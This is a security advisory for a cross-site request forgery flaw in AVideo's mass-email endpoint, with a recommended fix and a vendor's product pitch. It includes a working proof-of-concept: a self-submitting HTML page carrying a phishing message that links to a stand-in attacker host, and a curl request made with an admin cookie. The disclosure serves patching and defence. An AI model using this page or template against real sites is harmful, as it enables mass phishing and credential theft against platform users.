GHSA-c4xj-x7p8-3x7q
MEDIUMAVideo: CSRF on emailAllUsers.json.php Enables Mass Phishing Email to All Users
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The AVideo endpoint objects/emailAllUsers.json.php allows administrators to send HTML emails to every registered user on the platform. While the endpoint verifies admin session status, it does not validate a CSRF token. Because AVideo sets SameSite=None on session cookies, a cross-origin POST request from an attacker-controlled page will include the admin's session cookie automatically. An attacker who lures an admin to a malicious page can send an arbitrary HTML email to every user on the platform, appearing to originate from the instance's legitimate SMTP address.
The endpoint does not call save() on any ORM object, which means the Referer/Origin domain validation implemented in ObjectYPT::save() is never triggered, leaving CSRF as the only required protection - and it is absent.
Details
The endpoint performs an admin check at line 10 but has no CSRF token validation:
// objects/emailAllUsers.json.php:10
if (!User::isAdmin()) {
die('{"error": "Must be admin"}');
}
The message body is taken directly from POST data at line 41:
// objects/emailAllUsers.json.php:41
$obj->message = $_POST['message'];
The message is rendered as HTML in the email at line 48:
// objects/emailAllUsers.json.php:48
$mail->msgHTML($obj->message);
When the email POST parameter is omitted, the endpoint defaults to sending to all registered users by calling User::getAllUsers(). This means the attacker does not need to know any email addresses.
The emails are sent through the platform's configured SMTP server, so they originate from the legitimate platform email address and pass SPF/DKIM validation. This makes the phishing emails highly convincing.
Proof of Concept
Host the following HTML on an attacker-controlled domain and lure an AVideo administrator to visit it:
<!DOCTYPE html>
<html>
<head><title>AVI-038 PoC - CSRF Mass Email</title></head>
<body>
<h1>Please wait...</h1>
<form id="massmail" method="POST"
action="https://your-avideo-instance.com/objects/emailAllUsers.json.php">
<input type="hidden" name="subject" value="Important: Verify Your Account" />
<textarea name="message" style="display:none">
<h2>Account Verification Required</h2>
<p>Your account requires re-verification due to a recent security update.</p>
<p>Please <a href="https://attacker.example.com/phish">click here to verify</a>
within 24 hours to avoid account suspension.</p>
<p>Thank you,<br/>The Platform Team</p>
</textarea>
<!-- Omitting 'email' parameter causes it to send to ALL users -->
</form>
<script>document.getElementById('massmail').submit();</script>
</body>
</html>
Verification steps:
- Set up a test AVideo instance with at least two registered user accounts.
- Log in as an admin in one browser tab.
- Open the attacker HTML page in another tab in the same browser.
- Check the email inboxes of all registered users. Each will have received the phishing email from the platform's legitimate SMTP address.
Alternatively, test with curl using an admin session cookie:
curl -b "PHPSESSID=ADMIN_SESSION_COOKIE" \
-X POST "https://your-avideo-instance.com/objects/emailAllUsers.json.php" \
-d "subject=Test&message=<h1>PoC</h1><p>This email was sent to all users.</p>"
Impact
An attacker can send attacker-controlled HTML emails to every registered user on an AVideo platform by exploiting the admin's session via CSRF. The emails originate from the platform's legitimate SMTP address, pass email authentication checks (SPF, DKIM, DMARC), and appear indistinguishable from genuine platform communications. This enables:
- Mass phishing campaigns targeting all platform users with highly credible emails
- Credential harvesting by directing users to attacker-controlled login pages
- Malware distribution via HTML email payloads
- Reputation damage to the platform operator
The attack requires only a single click from an authenticated admin (visiting an attacker-controlled page). No user enumeration or email address knowledge is needed.
- CWE-352: Cross-Site Request Forgery
Recommended Fix
Add CSRF token validation at objects/emailAllUsers.json.php:13, after the admin check:
// objects/emailAllUsers.json.php:13
if (!isGlobalTokenValid()) {
forbiddenPage('Invalid CSRF token');
exit;
}
Found by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of wwbn/avideo has shipped for GHSA-c4xj-x7p8-3x7q yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-c4xj-x7p8-3x7q is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-c4xj-x7p8-3x7q. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-c4xj-x7p8-3x7q in your dependencies?
O3 detects GHSA-c4xj-x7p8-3x7q across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.